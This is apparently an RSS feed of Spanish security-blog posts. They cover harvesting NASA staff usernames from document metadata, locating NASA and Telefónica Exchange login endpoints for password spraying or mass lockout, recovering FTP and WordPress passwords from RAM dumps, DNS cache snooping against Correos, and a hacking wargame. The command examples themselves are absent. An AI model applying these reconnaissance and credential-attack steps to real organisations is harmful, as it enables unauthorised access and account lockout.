Y a pesar de que nuestro antivirus ya no lo ve peligroso, veamos que ocurre si lo ejecuta una máquina.

]]>
http://www.blogdemigueldiaz.com/2012/02/por-que-los-antivirus-son-inutiles-o-como-burlar-un-antivirus-parte-1/feed/ 3
Pentesting: Obteniendo usuarios y servidores Exchange de una determinada corporación. http://www.blogdemigueldiaz.com/2012/01/pentesting-obteniendo-usuarios-y-software-usado-en-una-determinada-corporacion/?utm_source=rss&utm_medium=rss&utm_campaign=pentesting-obteniendo-usuarios-y-software-usado-en-una-determinada-corporacion http://www.blogdemigueldiaz.com/2012/01/pentesting-obteniendo-usuarios-y-software-usado-en-una-determinada-corporacion/#comments Wed, 11 Jan 2012 20:12:26 +0000 Miguel Díaz http://www.blogdemigueldiaz.com/?p=1449 Continuar leyendo ]]> Siguiendo la racha que llevamos sobre seguridad informática y para continuar el último post de pentesting hoy vamos a descubrir una nueva forma para obtener información acerca de la estructura interna de una corporación.

Si no habéis leído la entrada de DNSCacheSnooping os recomiendo hacerlo ahora pues en el se explica una de las técnicas para obtener el software usado y sitios Web visitados desde una corporación.

Usaremos una técnica que está muy de moda últimamente y es el análisis de metadatos, es una técnica simple pero muy efectiva que nos proporcionará muchísima información.

Obtener usuarios de active y servidores de Exchange de la NASA

En este caso he elegido la NASA ya que es una empresa internacional y conocida en en cada lugar de la tierra, todo un ejemplo de gran corporación y un caso que tenemos todos bien cercano, no quiero poner a nadie en evidencia pues su seguridad es muy buena y simplemente se explica una técnica usada en el pentesting.

Cómo muchos sabéis los metadatos son información almacenada en los ficheros que no es visible a simple vista pero los programas la utilizan para realizar acciones como organizar documentos, guardar un historial de cambios, etc. Estos datos no suelen ser visibles por el usuario y debido a ello suele ser información obviada por ellos.

Generalmente cualquier corporación de un determinado tamaño pone a disposición del público documentos (.doc, .pdf, .xls..) que contienen este tipo de información a no ser que el usuario o el administrador del sistema se haya encargado de limpiarlos, esta información es pública para consulta y examen de cualquier persona puesto que está colgada intencionadamente en la Web.

Obtener un listado de este tipo de archivos es muy facil gracias a herramientas de como Google o Bing con una búsqueda de este tipo:

Como veis en este caso hemos encontrado mas de seiscientos mil ficheros pdf publicados, podéis usar otros motores como bing u otros tipos de archivo.

Para descargar todos estos ficheros vamos a utilizar la herramienta metagoofil, es muy sencilla y está basada en python aunque podéis usar muchísimas otras:

Una vez el proceso ha terminado abrimos el fichero de resultados y entre toda la información que contamos podemos ver un listado de usuarios que se han detectado en los metadatos, aquí os dejo un pequeño extracto:

No hace falta ser un genio para ver que el formato de los mismos es generalmente es iniciales seguidas de un apellido (cfjones, rbmedina, etc..) por lo que imaginar otros usuarios por ingeniería inversa es muy posible (y mas si desde la corporación se empeñan en hacer las cosas fáciles), aunque seguramente con el enorme listado de usuarios que se obtienen mediante el analisis de metadatos sea mas que suficiente

Esta información es mas sensible de lo que uno puede pensar a simple vista, puesto que a pesar de que en teoría el secreto de una cuenta debe ser la contraseña el saber una cantidad significativa de usuarios nos facilita un trabajo reverso de fuerza bruta, es decir:

Generalmente los servidores están preparados contra ataques de fuerza bruta en los que si un usuario mete su password mal un determinado número de veces se bloquea la cuenta por un tiempo determinado o de forma indefinida, pero no al revés: Podemos probar cuatro o cinco contraseñas típicas (lease bigbang3, orion5…) o intentar con la contraseña inicial con cada uno de los usuarios con lo cual dar con una combinación válida es solo cuestión de tiempo.

Otro tipo de ataques son igualmente posibles como bloquear todos los usuarios realizando intentos de login erroneo de forma intencionada, etc.

Todo esto está muy bien, pero no disponemos de ningún servidor dónde realizar estos intentos de login, así que ¿Dónde probamos el usuario?

Caso práctico: Obtener los servidores de Exchange de la NASA o Telefónica

Tenemos una inmensa cantidad de estrategias para descubrir servidores o intranets de una corporación, como por ejemplo buscar subdominios “tipicos” o usando el buscador de Google para buscar subdominios:

En este caso hemos obtenido muchísimos resultados y la mayoría no nos interesan, en empresas mas pequeñas o con menos servicios públicos la cosa se torna mas sencilla, pero para estos casos eso es bueno saber un pequeño truco que suele ser útil la mayoría de las veces.

Cuando configuramos un programa como Outlook con una cuenta exchange este es capaz de autodetectar el servidor al que conectarse, para obtener estos datos el cliente. Para ello se conecta a una de las siguientes URL, https://dominio.com/autodiscover/autodiscover.xml o hacia https://autodiscover.dominio.com/autodiscover/autodiscover.xml, lo mejor de todo es que pese a que exista una un OWA tipo email.nasa.gov accediendo a https://autodiscover.nasa.gov/exchange nos suele mostrar o bien el propio OWA o el vinculo desde el cual acceder.

Podemos probar en el de la NASA y otra empresa como Telefónica entre otros muchos.

]]>
http://www.blogdemigueldiaz.com/2012/01/pentesting-obteniendo-usuarios-y-software-usado-en-una-determinada-corporacion/feed/ 0
El peligro de de la información almacenada en memoria y otros lugares temporales http://www.blogdemigueldiaz.com/2011/12/el-peligro-de-de-la-informacion-almacenada-en-memoria-y-otros-lugares-temporales/?utm_source=rss&utm_medium=rss&utm_campaign=el-peligro-de-de-la-informacion-almacenada-en-memoria-y-otros-lugares-temporales http://www.blogdemigueldiaz.com/2011/12/el-peligro-de-de-la-informacion-almacenada-en-memoria-y-otros-lugares-temporales/#comments Thu, 29 Dec 2011 14:35:48 +0000 Miguel Díaz http://www.blogdemigueldiaz.com/?p=1395 Continuar leyendo ]]> Como ya sabemos toda la información que pasa por nuestro equipo es almacenada, unas veces de forma fija, por ejemplo en documentos o ficheros y otras veces de forma temporal, por ejemplo en la memoria RAM o ficheros temporales.

Esto es bueno por que permiten que las aplicaciones accedan a esa información de una manera rápida mientras usamos las aplicaciones. Pero ¿Qué pasa si una aplicación se cierra? ¿Se elimina esa información? La respuesta es NO, o al menos en la mayoría de los casos.

Cuando un programa deja de usar un determinado espacio en la memoria el sistema operativo simplemente libera ese espacio, pero generalmente no se elimina su contenido. La razón es bastante lógica: Si el sistema además de liberar ese espacio se dedicará a restablecer cada byte a 0 el proceso sería mucho mas lento que solo liberar el espacio para que otros programas puedan sobreescribirlo. Pero esto tiene un problema de privacidad ya que si esa información se guarda en la memoria y ese espacio se vuele disponible para cualquier programa podríamos obtener información comprometida, para entenderlo vamos a poner un caso práctico.

Obtener la contraseña de un servidor FTP o WordPress

Bajo este título un tanto comercial se esconde la explicación básica a este procedimiento, es algo muy usado en informática forense y sorprende a mucha gente de lo fácil que puede ser obtener contraseñas de todo tipo. En nuestro ejemplo hemos usado una máquina virtual, con Windows XP y el servidor bytehost.com pero podemos probar con otras configuraciones, protocolos y programas.

En el primer ejemplo veremos como conseguir la contraseña de un servidor FTP al que un usuario haya accedido desde la misma máquina.

El primer paso es que el usuario abra un servidor FTP, en nuestro caso lo hemos hecho con ftp://ftp.byethost33.com, introduciremos nuestras credenciales y una vez ha terminado de trabajar con el lo cierra, podemos si queremos además cerrar la sesión, no importa.

Ahora nosotros vamos a tratar de averiguar que credenciales ha usado para entrar, para ello vamos a usar una utilidad forense, en este caso FTK Imager y vamos a realizar una imagen de nuestra memoria RAM, para ello abrimos el programa y vamos a File>Capture Memory.

Seleccionamos una ruta de destino y un nombre para el archivo, el programa hará una imagen exacta byte a byte de nuestra memoria RAM para posteriormente examinarlo.

Una vez el proceso ha terminado debemos abrir la imágen, podemos usar un editor hexadecimal o simplemente ir a File>Add Evicende Item, cuando lo tengamos abierto realizaremos una búsqueda con el contenido “PASS ” y coincidencia de mayúsculas: ahí tenemos la contraseña.

Si quisiéramos el usuario solo tendríamos que escribir “USER”. Como os he dicho esto se puede llevar a otros campos, como identificación en Webs, etc.

Por ejemplo, si quisieramos averiguar la contraseña del panel de control de WordPress podríamos utilizar el string de búsqueda “pwd=”

Y no solo haciendo volcados de memoria, también mediante análisis del disco podremos obtener ficheros eliminados, cookies, historiales y demás información sensible con la particularidad de que ademas el disco duro no borra su contenido solo con reiniciar.

Reflexionemos: mas del 80% de las personas utilizan la misma contraseña para todo y sino es así lo mas probable es que el resto de servicios tengan una genial opción para recordar la contraseña la cual envíe una nueva a su e-mail.

¿Cuantos ordenadores públicos son utilizados por diferentes personas sin antes reiniciar el equipo? ¿Cuantas veces has dejado tu ordenador a un amigo para ver cualquier cosa sin reiniciar? Seguro que a partir de ahora ninguna mas.

]]>
http://www.blogdemigueldiaz.com/2011/12/el-peligro-de-de-la-informacion-almacenada-en-memoria-y-otros-lugares-temporales/feed/ 2
Pentesting: Conocer qué servidores y qué Webs visitan desde una determinada corporación mediante DNSCacheSnooping http://www.blogdemigueldiaz.com/2011/12/privacidad-conocer-el-trafico-de-una-determinada-corporacion-mediante-dns-cache-snooping/?utm_source=rss&utm_medium=rss&utm_campaign=privacidad-conocer-el-trafico-de-una-determinada-corporacion-mediante-dns-cache-snooping http://www.blogdemigueldiaz.com/2011/12/privacidad-conocer-el-trafico-de-una-determinada-corporacion-mediante-dns-cache-snooping/#comments Sat, 10 Dec 2011 15:40:11 +0000 Miguel Díaz http://www.blogdemigueldiaz.com/?p=1193 Continuar leyendo ]]> Parece que día a día nos vamos concienciando mas de la importancia de la privacidad: los navegadores añaden la navegación privada, las redes sociales mejoran sus políticas de privacidad y el usuario además aprende a usar todo esto… Pero… ¿y si muchas de estas medidas no sirvieran de (casi) nada?

Me gustaría empezar una nueva parte en el blog acerca de la seguridad informática es algo que siempre me ha llamado la atención aunque no sea mas que un pequeño aprendiz.

Hoy os explicaré la técnica del DNS Cache Snooping con la que podremos conocer las páginas, servidores visitados (y mucho mas) desde una empresa mediante un caso práctico y os propondré alguna solución.

Caso práctico: Conocer el tráfico de la red informática de Correos

He elegido Correos como ejemplo al ser una empresa grande y conocida a nivel nacional. Antes de empezar debemos tener claro como funcionan los servidores DNS:

Cuando introducimos el servidor de un portal nuestro ordenador preguntará a un DNS qué IP corresponde a ese dominio y con esta información el PC se conectará con dicha página. Los servidores DNS están interconectados de forma que si en su caché no figura el dominio solicitado lo preguntará a otro y lo guardará la caché un tiempo prudencial para poder responder mas rápidamente en futuras ocasiones.

Para saber qué dominios están visitando en su red nos conectaremos a uno de sus DNS, y una vez hecho le preguntaremos qué páginas tiene cacheadas sin que tenga que recurrir a otros servidores DNS. Podemos averiguar que DNS usan en Correos usando nslookup:

Como veis es sencillo, establecemos que queremos consultar qué DNS hay y luego damos el servidor sobre el cual queremos realizar la consulta y obtenemos los distintos servidores que usan en correos: En nuestro caso usaremos ns1.correos.es

Ahora pasamos a lo divertido, conectarnos al DNS de Correos y ver a qué servidores se ha accedido recientemente:

Os comento, lo primero que hemos hecho ha sido definir sobre que servidor DNS haremos las consultas, a continuación le hemos dicho que nos de resultados de tipo a, es decir nos dirá a que IP corresponde un determinado dominio y posteriormente hemos pedido que en caso de que no encuentre cacheado el dominio no lo pregunte a fuentes externas. Por último hemos introducido la URL del dominio que queríamos ver si estaba cacheada “www.facebook.com” y puesto que el servidor nos ha sabido resolver la IP podemos decir que esa página se ha visto de forma muy reciente desde el la red de Correos.

Debemos saber además que si ponemos una Web que no existe o que no ha sido visitada obtendremos un listado de servidores que si pueden darnos esa información.

Si le damos un par de vueltas al coco veremos que no solo nos valdrá para marujear si no que podemos averiguar la tecnología que usan en esa red: Por ejemplo si una de las url cacheadas es update.microsoft.com seguramente usarán Windows, si conectan con los servidores de Symantec quizás usen Norton Antivirus, o si lo hacen a servidores Sun tengan equipos con Java, etc.

Obviamente sería tedioso comprobar dirección a dirección cada uno de los dominios, pero podemos crear nuestro propio script encargado de hacerlo automáticamente desde un listado y nos guarde el listado en un txt. Lo dejo a vuestra imaginación.

La solución frente a esto es muy sencilla: Usar varios servidores DNS  uno encargado de gestionar exclusivamente nuestros servicios y usar otro para Internet el cual no sea accesible desde fuera de la red corporativa.

]]>
http://www.blogdemigueldiaz.com/2011/12/privacidad-conocer-el-trafico-de-una-determinada-corporacion-mediante-dns-cache-snooping/feed/ 2
Diviertete con este Wargame y consigue una invitación a forocoches http://www.blogdemigueldiaz.com/2011/08/diviertete-con-este-wargame-y-consigue-una-invitacion-a-forocoches/?utm_source=rss&utm_medium=rss&utm_campaign=diviertete-con-este-wargame-y-consigue-una-invitacion-a-forocoches http://www.blogdemigueldiaz.com/2011/08/diviertete-con-este-wargame-y-consigue-una-invitacion-a-forocoches/#comments Sun, 14 Aug 2011 11:58:28 +0000 Miguel Díaz http://www.blogdemigueldiaz.com/?p=560 Continuar leyendo ]]> ¡Que tarde de domingo mas aburrida! El gimnasio cerrado, la gente cansada de la fiesta del sábado noche y yo solo en casa, así que me he puesto a programar un poco… y he hecho un wargame. Para el que lo desconozca, los WarGames son juegos basados en la pelicula “Juegos de guerra” de ahí su nombre. Básicamente son juegos que simulan el crackeo de un sistema informático para conseguir cierta información.

Además de pasar un buen rato, si eres el primero en conseguirlo conseguirás una invitación a forocoches, el foro mas grande y activo de España.

Aquí arriba tenemos un ordenador, con un usuario invitado y una linea de comandos. Debemos conseguir localizar la contraseña para el cuadro de texto que tenemos tras el salto.

Aquí tienes todos los comandos disponibles

cd: Cambia el directorio actual, uso ‘cd directorio’.
clear: Borra el contenido de la pantalla.
ls: Muestra un listado con el contenido de un directorio.
more: Muestra el contenido de un fichero de texto.
mount: Monta una partición en un directorio seleccionado.
user: Cambia el usuario actual, uso ‘user nuevo_usuario’.
help: Muestra los comandos disponibles..

Si desea obtener ayuda acerca de un comando en concreto escriba ‘comando –help’.

Actualización: Carlos ha conseguido el reto, no obstante podeis seguir haciendolo para pasar un rato!
]]>
http://www.blogdemigueldiaz.com/2011/08/diviertete-con-este-wargame-y-consigue-una-invitacion-a-forocoches/feed/ 8